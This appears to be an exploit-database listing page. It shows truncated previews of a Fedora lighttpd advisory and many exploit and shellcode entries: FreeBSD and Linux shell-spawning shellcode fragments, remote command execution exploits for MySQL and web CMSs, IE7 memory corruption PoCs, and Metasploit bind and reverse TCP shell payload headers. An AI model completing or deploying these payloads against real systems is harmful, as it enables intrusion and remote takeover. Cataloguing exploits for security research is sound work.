Fedora 12 : lighttpd-1.4.26-2.fc12 (2010-7643)

Update lighttpd to the latest version of the 1.4 branch, with the spawn-fcgi program split out for the first time on EL. This fixes CVE-2010-0295 and also includes a fix for upstream bug 2157 where SSL stopped working with RHEL 5.4. Note that Tenable Network Security has extracted the preceding...

freebsd/x86 portbind shellcode 167 bytes

freebsd/x86 portbind shellcode 167 bytes. Shellcode exploit for freebsdx86 platform /- Copyright c 2009, Sofian Brabez freebsd-x86-portbind.c - FreeBSD x86 portbind a shell /bin/sh on 1337 \x05\x39 167 bytes / const char shellcode = "\x6a\x00" // push $0x0 "\x6a\x01" // push $0x1 "\x6a\x02" // pu...

MySQL COM_TABLE_DUMP Information Leakage and Arbitrary Command Execution

No description provided by source. / April 21.st 2006 myexploit.c MySql COMTABLEDUMP Memory Leak & MySql remote B0f MySql = 5.0.20 MySql COMTABLEDUMP Memory Leak MySql = 4.x.x copyright 2006 Stefano Di Paola stefano.dipaolaatwisec.it GPL 2.0 Disclaimer: In no event shall the author be liable for...

PhotoStand 1.2.0 Command Execution

!/usr/bin/perl App : PhotoStand 1.2.0 Site : http://www.photostand.org Remote Command Execution Exploit Credits to : Giovanni Buzzin, "Osirys" osirysatautisticidotorg Greets: drosophila, emgent, Fireshot PhotoStand is a used Image Gallery CMS. PhotoStand is vulnerable to SQL Injection, AUTH BYPAS...

Syzygy CMS 0.3 LFI/SQL Command Injection Exploit

Exploit for unknown platform in category web applications ================================================ Syzygy CMS 0.3 LFI/SQL Command Injection Exploit ================================================ !/usr/bin/perl Web App : Syzygy CMS 0.3 Link :...

OS X (vfork) Command Shell, Bind TCP Inline

Listen for a connection, vfork if necessary, and spawn a command shell This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 152 include Msf::Payload::Single include Msf::Payload::Osx...

Linux/x86 - setuid(0) && execve() - 25 bytes

No description provided by source. Hi, i've shrinked down the shellcode to 25 bytes, the smallest setuid & execve GNU/Linux shellcode without nulls that spawns a shell. -------------------------------------------------------------------------------------- SMALLEST SETUID & EXECVE GNU/LINUX x86...

MS Internet Explorer 7 Memory Corruption PoC (MS09-002) (win2k3sp2)

Exploit for unknown platform in category remote exploits =================================================================== MS Internet Explorer 7 Memory Corruption PoC MS09-002 win2k3sp2 =================================================================== var...

Internet Explorer 7 Memory Corruption For Win2k3 SP2

var...

linux/x86 setuid(0) & execve(/bin/sh 0 0) shellcode 28 bytes

No description provided by source. -------------------ASM---------------------- global start section .text start: ;setuid0 xor ebx,ebx lea eax,ebx+17h cdq int 80h ;execve"/bin/sh",0,0 xor ecx,ecx push ecx push 0x68732f6e push 0x69622f2f lea eax,ecx+0Bh mov ebx,esp int 80h...

linux/x86 setuid(0) & execve(/bin/sh,0,0) shellcode 28 bytes

Exploit for linux/x86 platform in category shellcode ============================================================ linux/x86 setuid0 & execve/bin/sh,0,0 shellcode 28 bytes ============================================================ -------------------ASM---------------------- global start section...

Nuked-klaN <= 1.7.7 / <= SP4.4 Multiple Vulnerabilities Exploit

No description provided by source. ?php Name: Nuked-klaN = 1.7.7 and = SP4.4 Multiples Vulnerabilities Exploit Credits: Charles FOL charlesfolathotmail.fr URL: http://real.o-n.fr/ Date: 14/10/2008 Special thanks to Louis for remembering me I had to finish it = VULNERABILITY DETAILS...

Linux Command Shell, Reverse TCP Inline

Connect back to attacker and spawn a command shell This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 184 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions def...

OpenVMS fingerd remote stack overflow

sup bugtraq. Since a group of lads are giving a talk on Hacking OpenVMS at defcon I figured I'd release a vulnerability in the OpenVMS finger service part of the MultiNet package to give people a few days to figure out an exploit before the methods are documented for us by the guys giving the tal...

GV PostScript Viewer Remote Buffer overflow Exploit

No description provided by source. / gv postscript viewer exploit , infamous42md AT hotpop DOT com run of the mill bof. spawns a remote shell on port 7000. woopty doo. if someone has been able to exploit the heap overflow in cfengine, please email me and teach me something. after days of pain i'v...

Windows Command Shell, Bind TCP (via Perl)

Listen for a connection and spawn a command shell via perl persistent This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 139 include Msf::Payload::Single include...

Apple iOS Command Shell, Reverse TCP Inline

Connect back to attacker and spawn a command shell This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 152 include Msf::Payload::Single include Msf::Payload::Osx include...

Windows Disable Windows ICF, Command Shell, Bind TCP Inline

Disable the Windows ICF, then listen for a connection and spawn a command shell This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 529 include Msf::Payload::Windows include...

PHP Command Shell, Bind TCP (via PHP)

Listen for a connection and spawn a command shell via php This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = :dynamic include Msf::Payload::Single include Msf::Payload::Php include...

BSDi Command Shell, Bind TCP Inline

Listen for a connection and spawn a command shell This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 90 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions def...